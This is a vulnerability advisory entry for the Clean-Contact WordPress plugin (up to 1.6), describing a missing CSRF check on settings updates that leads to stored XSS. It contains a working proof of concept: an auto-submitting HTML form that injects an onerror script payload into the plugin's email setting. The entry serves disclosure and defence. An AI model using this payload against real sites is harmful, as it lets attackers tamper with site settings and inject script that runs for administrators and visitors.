WordPress Plugin Vulnerabilities
Clean-Contact <= 1.6 - Arbitrary Settings Update to Stored XSS via CSRF
Description
The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored XSS due to the lack of sanitisation and escaping as well
Proof of Concept
<form id="test" action="https://example.com/wp-admin/plugins.php?page=clean_contact" method="POST"> <input type="text" name="clean_contact_settings" value="1"> <input type="text" name="clean_contact_email" value='[email protected]"><img src onerror=alert(/XSS/)>'> <input type="text" name="clean_contact_cc" value=""> <input type="text" name="clean_contact_bcc" value="[email protected]"> <input type="text" name="clean_contact_prefix" value="clean-contact"> <input type="text" name="clean_contact_thanks" value="Thank you. Message sent!"> <input type="text" name="clean_contact_thanks_url" value="https://example.com"> <input type="text" name="clean_contact_from_email" value=""> <input type="text" name="Submit" value="Save Settings"> </form> <script> document.getElementById("test").submit(); </script>
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-06-01 (about 1 years ago)
Added
2022-06-01 (about 1 years ago)
Last Updated
2023-03-02 (about 9 months ago)